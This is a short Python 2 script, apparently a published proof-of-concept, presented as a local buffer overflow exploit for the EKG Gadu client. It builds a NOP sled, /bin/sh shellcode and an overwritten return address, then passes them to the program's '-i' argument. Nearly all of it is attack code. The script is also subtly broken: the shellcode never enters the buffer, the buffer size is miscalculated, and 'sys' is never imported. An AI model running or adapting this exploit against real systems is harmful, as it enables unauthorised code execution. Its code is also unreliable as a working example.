EKG Gadu local code execution vulnerability

                                                import os, subprocess
 
def run():
  try:
    print "# EKG Gadu - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack -http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP
 
    buffersize = 240
    nopsled = "\x90"*30
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x20\xf1\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["ekg ",'-i', buffer])
 
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, EKG Gadu - Not found!"
    else:
        print "Error executing exploit"
    raise
 
def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
 
if __name__ == '__main__':
  try:
    print "Exploit EKG Gadu -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()